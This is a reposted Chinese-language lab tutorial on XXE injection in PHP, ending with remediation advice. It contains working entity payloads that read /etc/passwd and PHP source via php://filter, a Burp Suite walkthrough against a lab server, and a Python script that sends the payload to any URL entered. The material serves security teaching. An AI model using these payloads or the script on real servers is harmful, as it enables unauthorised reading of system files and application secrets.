XXE(xml外部實體注入漏洞)


實驗內容

介紹XXE漏洞的觸發方式和利用方法,簡單介紹XXE漏洞的修復。

影響版本:

libxml2.8.0版本

漏洞介紹

XXE Injection即XML External Entity Injection,也就是XML外部實體注入攻擊。漏洞是在對非安全的外部實體數據進行處理時引發的安全問題。

由於站點的建站語言不同,PHP、JAVA、python等也有不同的解析規則,在實際情況中不能一概而論,但原理是相同的。

XML基礎知識

XML是用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。

XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

XML中對數據的引用稱為實體,實體中有一類叫外部實體,用來引入外部資源,有SYSTEM和PUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機,外部實體的引用可以借助各種協議,比如如下的三種:

  file:///path/to/file.ext http://url php://filter/read=convert.base64-encode/resource=conf.php 

XML在調用外部實體整體的寫法如下:

  <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [ <!ELEMENT methodname ANY > <!ENTITY xxe(實體引用名) SYSTEM "file:///etc/passwd"(實體內容) >]> <methodcall> <methodname>&xxe;</methodname> </methodcall> 

這種寫法則調用了本地計算機的文件/etc/passwd,XML內容被解析后,文件內容便通過&xxe被存放在了methodname元素中,造成了敏感信息的泄露。

實驗步驟

以下步驟主要講述了此漏洞的利用方式,XML、Payload的構造方式以及惡意腳本的使用和分析。

步驟1:漏洞驗證

首先,我們的目標地址是172.16.12.2/simplexml_load_string.php

我們先來看下simplexml_load_string.php代碼怎么寫的,代碼如下:


<?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); echo $xml->name; ?> 

最開始,引入一個file_get_contents函數,將整個XML數據讀入data字符串中,然后交給php的xml解析函數simplexml_load_string()解析,解析后的數據賦給xml變量。

這一數據即XML字符串中使用的對象(或者說根元素)的數據,並echo輸出出來。

我們現在打開Burpsuite,修改瀏覽器的網絡配置,點擊最右側的三個橫線,然后依次點擊->選項->高級->網絡->配置firefox如何連接互聯網

設置HTTP代理為127.0.0.1,端口為8080,配置完成后,開啟burpsuite的攔截功能,然后訪問如下網址

http://172.16.12.2/simplexml_load_string.php 

burp-firefox

當訪問請求被burp攔截后,點擊action將此請求發送到burp的repeater選項卡(send to repeater),將如下的XML文本直接寫在數據包內容的下面

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root> 

burp_simple

這一步驟將XML內容發送給服務器,當服務器將XML解析完成后,就會依照解析的內容工作,這段XML中SYSTEM "file:///etc/passwd"部分引用了目標服務器(即172.16.12.2)下的/etc/passwd文件,服務器解析XML內容后,會將這一文件內容存入&xxe中,然后將數據返回給惡意訪問者。

執行完成上面的操作后,點擊GO,右側將出現此數據包的返回結果,內容如下,返回的數據為服務器上/etc/passwd文件的內容

result_s

如果修改XML中的外部實體為其他協議,如php://filter/read=convert.base64-encode/resource=index.php,在Proxy選項卡的原數據包中粘貼XML內容,點擊FORWARD放行請求,返回的結果在瀏覽器上顯示如下

result_p

返回值為PD9waHANCnBocGluZm8oKTsNCj8+,經過base64解碼,可以看到字符串是index.php的源代碼


<?php phpinfo(); ?> 

我們來訪問一下index.php,可以看到確實是執行了phpinfo();函數

index

步驟2 使用並分析惡意腳本

請訪問http://file.ichunqiu.com/397qjz4d下載實驗文件。

打開cmd,輸入 python 腳本所在路徑\xxe-url2.py(可將腳本直接拖入cmd命令行) ,然后輸入要讀取的文件及要訪問的地址.

如下圖所示,腳本放在C:\Documents and Settings\Administrator\My Documents\下載\路徑下,運行腳本,輸入示例payload

file:///etc/passwd 

示例地址

http://172.16.12.2/simplexml_load_string.php 

poc

xxe-url2.py的代碼如下,通過urllib2的request方法用POST方式向目標地址發送XML數據,返回的數據即為服務器172.16.12.2下的/etc/passwd文件

import urllib2 if __name__ == '__main__': print u'輸入要讀取的文件,如file:///etc/passwd' payload = raw_input() print u'輸入要訪問的地址,如http://172.16.12.2/simplexml_load_string.php' url = raw_input() #url = 'http://192.168.70.235/simplexml_load_string.php' headers = {'Content-type': 'text/xml'} xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>' req = urllib2.Request(url = url,headers = headers, data = xml) res_data = urllib2.urlopen(req) res = res_data.read() print res 

實驗結果分析與總結

本次實驗主要了解了XML的基礎知識以及PHP中XML的使用,了解了漏洞出現的原理,學習了通過構造惡意的外部實體訪問,讓服務器讀取敏感文件內容的惡意操作。

XML外部實體注入可以造成的危害有:

  • 任意文件讀取

  • 系統命令執行

  • 內網主機及服務探測

本次實驗我們主要進行了任意文件讀取的操作,系統命令執行需要在安裝了EXPECT擴展的PHP環境下才能執行,內網主機及服務探測可以通過HTTP協議來執行。

修復方案

  • 使用libxml2.8.0以上版本xml解析庫,默認禁止外部實體的解析

  • 對於PHP,由於simplexml_load_string函數的XML解析問題出在libxml庫上,所以加載實體前可以調用函數進行過濾

  • 可將外部實體、參數實體和內聯DTD都被設置為false,從而避免基於XXE漏洞的攻擊。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM